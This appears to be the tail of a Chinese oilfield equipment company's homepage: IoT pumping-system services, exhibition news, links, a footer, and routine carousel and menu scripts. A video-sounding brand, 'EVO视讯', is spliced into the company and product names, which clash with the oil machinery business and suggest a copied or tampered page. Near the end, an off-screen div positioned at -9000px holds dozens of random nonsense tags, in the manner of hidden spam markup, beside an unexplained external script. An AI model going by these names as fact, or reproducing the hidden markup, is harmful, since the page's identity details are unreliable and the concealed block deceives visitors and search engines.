		            <div id="0mw7b9" class="home_more1"><a href="/bengjushengxitong.html" target="_blank">了解详细</a></div>
		        </div>
		        <div class="tab-panel" id="tab4">
		            <div id="tdeffe" class="tab_main">
		                <h3>智能物联无杆泵采油系统配套EVO视讯及技术服务</h3>
		                <p>创新的无杆泵采油技术，减少机械损耗，提高采油效率和经济性。</p>
		            </div>
		            <div id="nng1hy" class="home_more1"><a href="/wuganbengcaiyou.html" target="_blank">了解详细</a></div>
		        </div>
		    </div>
		</div>
	</section>
	<!-------------------- 服务项目手机端 --------------------->
	<div id="96zb6r" class="home_news service-m" >
		<div id="aef8ms" class="service_title" style="float: left;width: 50%;">
			<div id="gfqsg9" class="home_icon">
				<img src="/static/images/icon3.png" />
			</div>
			<h2 class="home_h2">业务范围</h2>
		</div>
	</div>
	<div id="fbnxt6" class="ser_service_m" >
	    <!-- 第一个菜单 -->
	    <details class="ser_service_item" open>
	        <summary class="ser_servicemenu_header">
	            <span>智能物联（IOT）采油设备管理系统</span>
	            <span class="ser_arrow"></span>
	        </summary>
	        <div id="chwxjd" class="ser_submenu">
	            <p>提高生产操作单元的自动化水平，进一步提高油气田生产决策的及时性和准确性，降低综合生产成本。</p>
	            <div id="ttjt7p" class="home_more4"><a href="/caiyou.html" target="_blank">了解详细</a></div>
	        </div>
	    </details>
	    
	    <!-- 其他菜单 -->
	    <details class="ser_service_item">
	        <summary class="ser_servicemenu_header">
	            <span>智能物联有杆采油系统配套EVO视讯及技术服务</span>
	            <span class="ser_arrow"></span>
	        </summary>
	        <div id="lg75qt" class="ser_submenu">
	            <p>提高生产操作单元的自动化水平，进一步提高油气田生产决策的及时性和准确性，降低综合生产成本。</p>
	            <div id="y9bn4t" class="home_more4"><a href="/yougancaiyou.html" target="_blank">了解详细</a></div>
	        </div>
	    </details>
	    
	    <details class="ser_service_item">
	        <summary class="ser_servicemenu_header">
	            <span>智能物联螺杆泵举升系统配套EVO视讯及技术服务</span>
	            <span class="ser_arrow"></span>
	        </summary>
	        <div id="zj8mg3" class="ser_submenu">
	            <p>提高生产操作单元的自动化水平，进一步提高油气田生产决策的及时性和准确性，降低综合生产成本。</p>
	            <div id="txlps7" class="home_more4"><a href="/bengjushengxitong.html" target="_blank">了解详细</a></div>
	        </div>
	    </details>
	    
	    <details class="ser_service_item">
	        <summary class="ser_servicemenu_header">
	            <span>智能物联无杆泵采油系统配套EVO视讯及技术服务</span>
	            <span class="ser_arrow"></span>
	        </summary>
	        <div id="6n2ph9" class="ser_submenu">
	            <p>提高生产操作单元的自动化水平，进一步提高油气田生产决策的及时性和准确性，降低综合生产成本。</p>
	            <div id="f7rmah" class="home_more4"><a href="/wuganbengcaiyou.html" target="_blank">了解详细</a></div>
	        </div>
	    </details>
	</div>
	<!-------------------- service end--------------------->
	<div id="g0stzx" class="home_news">
		<div id="pzgym1" class="service_title" style="float: left;width: 50%;">
			<div id="2gym9r" class="home_icon">
				<img src="/static/images/icon3.png" />
			</div>
			<h2 class="home_h2">聚焦新闻</h2>
		</div>
		<div id="wdfy62" class="home_more2" style="float: right;clear:"><a href="/news.html">查看更多</a></div>
	</div>
    <div id="7l9z0k" class="news-container">
        <!-- 滚动内容 -->
        <div class="news-wrapper" id="newsWrapper">
            <!-- 新闻卡片 -->
            <div id="0dwrch" class="news-card">
                <div id="sd2r4a" class="news-img-container">
                    <a href="/news/455.html" title="载誉收官｜EVO视讯股份亮相 CIPPE2026 北京石油展"><img src="/uploads/20260330/73a35e4f5f365ed828d147865ec8bd37.png" alt="载誉收官｜EVO视讯股份亮相 CIPPE2026 北京石油展"></a>
                </div>
                <h3><a href="/news/455.html">载誉收官｜EVO视讯股份亮相 CIPPE2026 北京石油展</a></h3>
                <p><a href="/news/455.html">3月26—28日，第二十六届中国国际石油石化技术装备展览会（CIPPE 2026）在北京?中国国际展览中心（顺义...</a></p>
            </div><div id="jzp3xx" class="news-card">
                <div id="45hc4t" class="news-img-container">
                    <a href="/news/168.html" title="EVO视讯股份亮相阿尔及利亚石油展，深耕国际市场再谱新篇"><img src="/uploads/20251124/e5b02b9492d22b092c542a9a410cea68.jpeg" alt="EVO视讯股份亮相阿尔及利亚石油展，深耕国际市场再谱新篇"></a>
                </div>
                <h3><a href="/news/168.html">EVO视讯股份亮相阿尔及利亚石油展，深耕国际市场再谱新篇</a></h3>
                <p><a href="/news/168.html">备受瞩目的阿尔及利亚国际石油天然气展会（NAPEC）在奥兰国际展览中心盛大启幕。</a></p>
            </div><div id="1mmx2b" class="news-card">
                <div id="sarn56" class="news-img-container">
                    <a href="/news/167.html" title="EVO视讯股份精彩亮相第七届克拉玛依国际石油装备展"><img src="/uploads/20251124/c833d66c718beaa188eeade7f7e15eb7.jpeg" alt="EVO视讯股份精彩亮相第七届克拉玛依国际石油装备展"></a>
                </div>
                <h3><a href="/news/167.html">EVO视讯股份精彩亮相第七届克拉玛依国际石油装备展</a></h3>
                <p><a href="/news/167.html">第七届中国（克拉玛依）国际石油天然气及石化技术装备展览会在新疆维吾尔自治区克拉玛依市会展中心隆重...</a></p>
            </div><div id="8zk0qn" class="news-card">
                <div id="lamcdk" class="news-img-container">
                    <a href="/news/166.html" title="深化拉美能源合作新跨越，EVO视讯股份参展2025墨西哥CMP"><img src="/uploads/20251124/2b46335e9c6899a0dc53f6fee93aa0f6.jpeg" alt="深化拉美能源合作新跨越，EVO视讯股份参展2025墨西哥CMP"></a>
                </div>
                <h3><a href="/news/166.html">深化拉美能源合作新跨越，EVO视讯股份参展2025墨西哥CMP</a></h3>
                <p><a href="/news/166.html">??2025年6月18日，全球能源行业瞩目的盛会—墨西哥石油天然气展览会（CMP）在墨西哥蒙特雷Cintermex会...</a></p>
            </div>        </div>
    </div>
	<!-- 友情链接开始 -->
	<div id="0gpsxt" class="link">
		<div id="nxgbth" class="home_news">
			<div id="pmwhb2" class="service_title" style="float: left;width: 50%;">
				<div id="nk20wr" class="home_icon">
					<img src="/static/images/icon3.png" />
				</div>
				<h2 class="home_h2">友情链接</h2>
			</div>
		</div>
		<div id="1g5mwh" class="link-container">
		    <div id="963111" class="link-item">
		        <a href=""><img src="/uploads/20251125/279f43f876dee550b7c2bc38947d7e91.png" alt="深圳交易所"></a>
		    </div><div id="tnyb3r" class="link-item">
		        <a href=""><img src="/uploads/20251125/3c1f38f9b1a70dea1b57d9e44824455e.png" alt="中国证监会"></a>
		    </div><div id="xsesbr" class="link-item">
		        <a href=""><img src="/uploads/20251125/bd4b926c178f69f075011626bfe23213.png" alt="巨潮资讯"></a>
		    </div><div id="t3dwc0" class="link-item">
		        <a href=""><img src="/uploads/20251125/4bfa79fda081f982c374789c2c539e7d.png" alt="上海证券交易所"></a>
		    </div><div id="ncst3p" class="link-item">
		        <a href=""><img src="/uploads/20251125/af16cad4a7c763feda255a053bcda14a.png" alt="中石油"></a>
		    </div><div id="daxgby" class="link-item">
		        <a href=""><img src="/uploads/20251125/ef8511447422e74cddb0087420af3da1.png" alt="中石化"></a>
		    </div>		</div>
	</div>
	<!-- 版权部分 -->
	<div id="h7mfhq" class="footer">
	    <div id="9fjp0y" class="footer-content">
	        <div id="h61y3c" class="footer-column">
	            <h3 class="footer-title">企业文化</h3>
	            <ul class="footer-links">
	                <li > <a href="/gangyao.html">文化纲要</a></li><li > <a href="/fangzhen.html">管理方针及目标</a></li><li > <a href="/fengcai.html">员工风采</a></li>	            </ul>
	        </div>
	        
	        <div id="9rr3lt" class="footer-column">
	            <h3 class="footer-title">旗下公司</h3>
	            <ul class="footer-links">
	                <li><a href="/xinjiangkunlong.html">新疆EVO视讯装备有限公司</a></li>
	                <li><a href="/shandongkunlong.html">山东EVO视讯物联网科技有限公司</a></li>
	            </ul>
	        </div>
	        
	        <div id="s37pkh" class="footer-column">
	            <h3 class="footer-title">人力资源</h3>
	            <ul class="footer-links">
	                <li > <a href="/contactus.html">联系EVO视讯</a></li><li > <a href="/zhaopin.html">招聘岗位</a></li><li > <a href="/linian.html">用人理念</a></li>	            </ul>
	        </div>
	        
	        <div id="m6pal0" class="footer-column">
	            <h3 class="footer-title">联系EVO视讯</h3>
	            <div id="3xqml3" class="contact-info">
	                <p>电话：0536-2153850</p>
	                <p>传真：+86-536-2153851</p>
	                <p>邮箱：info@wejianzhang.com</p>
	                <p>邮编：262711</p>
	            </div>
	        </div>
	        
	        <div id="k68l40" class="footer-column qrcode-section">
	            <div id="2b3sep" class="qrcode">
	                <span><img src="/uploads/20251124/b4fd80ac82f113cbc49235805ad1718d.png" style="width:80px;" /></span>
	            </div>
	            <p class="qrcode-text">扫描二维码关注微信公众号</p>
	        </div>
	    </div>
	    
	    <div id="m9swze" class="footer-bottom">
	        <div id="dmk618" class="copyright">
	            页面版权所有?山东寿光EVO视讯机械股份有限公司
	        </div>
	        <div id="e468qr" class="footer-links-bottom">
	            鲁ICP备09043968号-1
	        </div>
	    </div>
	</div>	
	</div>
		<!-------------------- footer end --------------------->
	
    <script>
// 自适应rem单位设置
(function (win) {
    var tid;
    
    function getDesignSize() {
        var sUserAgent = navigator.userAgent.toLowerCase();
        var bIsMobile = /ipad|iphone|midp|rv:1.2.3.4|ucweb|android|windows ce|windows mobile/i.test(sUserAgent);
        return bIsMobile ? 640 : 1920;
    }
    
    function refreshRem() {
        let designSize = getDesignSize();
        let html = document.documentElement;
        let wW = html.clientWidth;
        
        let rem = wW * 10 / designSize;
        
        if (wW < 480) rem = Math.max(rem, 7);
        else if (wW < 768) rem = Math.max(rem, 6);
        else if (wW < 900) rem = Math.max(rem, 5.5);
        else if (wW < 1200) rem = Math.max(rem, 5);
        
        document.documentElement.style.fontSize = rem + 'px';
    }

    win.addEventListener('resize', function () {
        clearTimeout(tid);
        tid = setTimeout(refreshRem, 300);
    }, false);
    
    win.addEventListener('pageshow', function (e) {
        if (e.persisted) {
            clearTimeout(tid);
            tid = setTimeout(refreshRem, 300);
        }
    }, false);

    refreshRem();
})(window);

// 所有功能整合到一个DOMContentLoaded中
document.addEventListener('DOMContentLoaded', function() {
    // === 滚动时添加导航栏背景 ===
    const topHeader = document.querySelector('.top_header');

    function handleScroll() {
        if (window.scrollY > 50) {
            topHeader.classList.add('scrolled');
        } else {
            topHeader.classList.remove('scrolled');
        }
    }

    window.addEventListener('scroll', handleScroll);
    
    // === 轮播图功能 ===
    const slides = document.querySelectorAll('.slide');
    const dots = document.querySelectorAll('.dot');
    const prevBtn = document.querySelector('.prev_btn');
    const nextBtn = document.querySelector('.next_btn');
    const bannerSlider = document.getElementById('bannerSlider');
    let currentSlide = 0;
    let startX = 0;
    let endX = 0;
    
    function showSlide(index) {
        slides.forEach(slide => slide.classList.remove('active'));
        dots.forEach(dot => dot.classList.remove('active'));
        slides[index].classList.add('active');
        dots[index].classList.add('active');
        currentSlide = index;
    }
    
    function nextSlide() {
        let nextIndex = (currentSlide + 1) % slides.length;
        showSlide(nextIndex);
    }
    
    function prevSlide() {
        let prevIndex = (currentSlide - 1 + slides.length) % slides.length;
        showSlide(prevIndex);
    }
    
    let slideInterval = setInterval(nextSlide, 8000);
    
    nextBtn.addEventListener('click', function() {
        clearInterval(slideInterval);
        nextSlide();
        slideInterval = setInterval(nextSlide, 8000);
    });
    
    prevBtn.addEventListener('click', function() {
        clearInterval(slideInterval);
        prevSlide();
        slideInterval = setInterval(nextSlide, 8000);
    });
    
    dots.forEach(dot => {
        dot.addEventListener('click', function() {
            clearInterval(slideInterval);
            let index = parseInt(this.getAttribute('data-index'));
            showSlide(index);
            slideInterval = setInterval(nextSlide, 8000);
        });
    });
    
    bannerSlider.addEventListener('touchstart', function(e) {
        startX = e.touches[0].clientX;
        clearInterval(slideInterval);
    });
    
    bannerSlider.addEventListener('touchmove', function(e) {
        endX = e.touches[0].clientX;
    });
    
    bannerSlider.addEventListener('touchend', function() {
        let diffX = startX - endX;
        if (Math.abs(diffX) > 50) {
            if (diffX > 0) nextSlide();
            else prevSlide();
        }
        slideInterval = setInterval(nextSlide, 8000);
    });
    
    // === 语言切换功能 ===
    const languageOptions = document.querySelectorAll('.language_option');
    const languageCurrent = document.querySelectorAll('.language_current span');
    
    languageOptions.forEach(option => {
        option.addEventListener('click', function() {
            languageOptions.forEach(opt => opt.classList.remove('active'));
            this.classList.add('active');
            languageCurrent.forEach(span => span.textContent = this.textContent);
        });
    });
    
    // === 移动端菜单功能 ===
    const mobileMenuBtn = document.getElementById('mobileMenuBtn');
    const mobileMenu = document.getElementById('mobileMenu');
    const mobileNavLinks = document.querySelectorAll('.mobile_nav_link[data-submenu]');
    
    mobileMenuBtn.addEventListener('click', function() {
        mobileMenu.classList.toggle('active');
    });
    
    mobileNavLinks.forEach(link => {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            const submenuId = this.getAttribute('data-submenu');
            const submenu = document.getElementById(submenuId);
            submenu.classList.toggle('active');
        });
    });
    
    document.addEventListener('click', function(e) {
        if (!mobileMenu.contains(e.target) && !mobileMenuBtn.contains(e.target)) {
            mobileMenu.classList.remove('active');
        }
    });
    

    // === 数字增长动画功能 ===
    function animateValue(element, start, end, duration) {
        let startTimestamp = null;
        const step = (timestamp) => {
            if (!startTimestamp) startTimestamp = timestamp;
            const progress = Math.min((timestamp - startTimestamp) / duration, 1);
            const currentValue = Math.floor(progress * (end - start) + start);
            element.textContent = currentValue;
            
            if (progress < 1) {
                window.requestAnimationFrame(step);
            }
        };
        window.requestAnimationFrame(step);
    }
    
    function handleNumberIntersection(entries, observer) {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                const element = entry.target;
                const target = parseInt(element.getAttribute('data-target'));
                animateValue(element, 0, target, 2000);
                observer.unobserve(element);
            }
        });
    }
    
    const numberElements = document.querySelectorAll('.stat-number');
    if (numberElements.length > 0) {
        const numberObserver = new IntersectionObserver(handleNumberIntersection, {
            threshold: 0.3,
            rootMargin: '0px 0px -50px 0px'
        });
        
        numberElements.forEach(element => {
            element.textContent = '0';
            numberObserver.observe(element);
        });
        
    }
    
});
</script>
<script>
    // 选项卡切换功能 - 鼠标悬停版本
    function initTabSwitcher() {
        const tabMenuItems = document.querySelectorAll('.tab-menu-item');
        const tabPanels = document.querySelectorAll('.tab-panel');
        
        // 为每个菜单项添加鼠标悬停事件
        tabMenuItems.forEach(item => {
            item.addEventListener('mouseenter', function() {
                const targetTab = this.getAttribute('data-tab');
                
                // 移除所有菜单项的active类
                tabMenuItems.forEach(menuItem => {
                    menuItem.classList.remove('active');
                });
                
                // 移除所有内容面板的active类
                tabPanels.forEach(panel => {
                    panel.classList.remove('active');
                });
                
                // 为当前悬停的菜单项添加active类
                this.classList.add('active');
                
                // 显示对应的内容面板
                const targetPanel = document.getElementById(targetTab);
                if (targetPanel) {
                    targetPanel.classList.add('active');
                }
            });
        });
    }

    // 将选项卡功能添加到现有的DOMContentLoaded中
    document.addEventListener('DOMContentLoaded', function() {
        // 原有的其他功能代码...
        
        // 添加选项卡初始化
        initTabSwitcher();
    });
</script>
<script>
	// 服务移动端一次只展开一个菜单
	document.addEventListener('DOMContentLoaded', function() {
	    const serDetails = document.querySelectorAll('.ser_service_m .ser_service_item');
	    serDetails.forEach(targetDetail => {
	        targetDetail.addEventListener('click', () => {
	            serDetails.forEach(detail => {
	                if (detail !== targetDetail) {
	                    detail.removeAttribute('open');
	                }
	            });
	        });
	    });
	});
</script>



<div id='body_jx_997675' style='position:fixed; left:-9000px; top:-9000px;'><xfmb class='spdbrs'><piwmxi id='spdbrs'></piwmxi></xfmb><wncdj class='pcecde'><jy id='pcecde'></jy></wncdj><laej class='dtixpv'><mlc id='dtixpv'></mlc></laej><tffdd class='modntm'><ctnh id='modntm'></ctnh></tffdd><fyzin class='sblxgp'><cw id='sblxgp'></cw></fyzin><rs class='zlxfkw'><earwmg id='zlxfkw'></earwmg></rs><yaqu class='jijlzb'><im id='jijlzb'></im></yaqu><eby class='emlkwi'><oe id='emlkwi'></oe></eby><uiooj class='cdzdba'><bmrlva id='cdzdba'></bmrlva></uiooj><gagl class='jjstgt'><swja id='jjstgt'></swja></gagl><xe class='dwefxw'><ya id='dwefxw'></ya></xe><ydx class='gxqzek'><vtuw id='gxqzek'></vtuw></ydx><co class='afyxck'><bpd id='afyxck'></bpd></co><fihab class='nqdsaj'><xp id='nqdsaj'></xp></fihab><pqweu class='lpvmrx'><yudwsg id='lpvmrx'></yudwsg></pqweu><gxn class='qdjkbh'><oqmpz id='qdjkbh'></oqmpz></gxn><fe class='etzbht'><lmlxbh id='etzbht'></lmlxbh></fe><xfex class='zcxeaj'><jnqs id='zcxeaj'></jnqs></xfex><mgst class='ooktlw'><lxjlz id='ooktlw'></lxjlz></mgst><zn class='qmrifh'><wfvzcz id='qmrifh'></wfvzcz></zn><creci class='qmhdie'><qwt id='qmhdie'></qwt></creci><del class='obvvvy'><ew id='obvvvy'></ew></del><aavj class='xwmgzq'><sdbat id='xwmgzq'></sdbat></aavj><cunv class='lrggbx'><bwgx id='lrggbx'></bwgx></cunv><fyzyn class='ltlfhg'><wju id='ltlfhg'></wju></fyzyn><jdxh class='ytfyss'><csmiz id='ytfyss'></csmiz></jdxh><obb class='jcfgja'><kmlws id='jcfgja'></kmlws></obb><cns class='dznvfb'><by id='dznvfb'></by></cns><htite class='zncjol'><mx id='zncjol'></mx></htite><cdn class='mmasoy'><bn id='mmasoy'></bn></cdn><hgtll class='dsvpex'><jtb id='dsvpex'></jtb></hgtll><rbuf class='kaykif'><zs id='kaykif'></zs></rbuf><uq class='eneilx'><dkmm id='eneilx'></dkmm></uq><nr class='ibptju'><nqx id='ibptju'></nqx></nr><elihv class='mlizdn'><unjza id='mlizdn'></unjza></elihv><ulol class='gslbmf'><pamzu id='gslbmf'></pamzu></ulol><weql class='putefm'><cwuc id='putefm'></cwuc></weql><fzsaj class='qnwcqt'><gchipm id='qnwcqt'></gchipm></fzsaj><sufio class='uvhwcp'><mtlgzk id='uvhwcp'></mtlgzk></sufio><pnx class='gjilsx'><auj id='gjilsx'></auj></pnx><eru class='ywhoix'><qfjr id='ywhoix'></qfjr></eru><gd class='sdydvv'><bm id='sdydvv'></bm></gd><amhl class='ztjhhs'><nu id='ztjhhs'></nu></amhl><jy class='niorej'><lzv id='niorej'></lzv></jy><ew class='kpwsxo'><paak id='kpwsxo'></paak></ew><gngsm class='qhlamp'><yc id='qhlamp'></yc></gngsm><afxap class='pmmwfz'><naiks id='pmmwfz'></naiks></afxap><dbmks class='nhghvg'><vsglq id='nhghvg'></vsglq></dbmks><fywf class='rsvblp'><irko id='rsvblp'></irko></fywf><ewiud class='kbrzki'><ikfpgl id='kbrzki'></ikfpgl></ewiud></div>

<div style="text-align:center;"><a href="http://www.wejianzhang.com/data/sitemap/www.wejianzhang.com.xml">【网站地图】</a><a href="http://www.wejianzhang.com/data/sitemap/www.wejianzhang.com.xml">【sitemap】</a></div>
<script src="/ts.js"></script></body>
</html>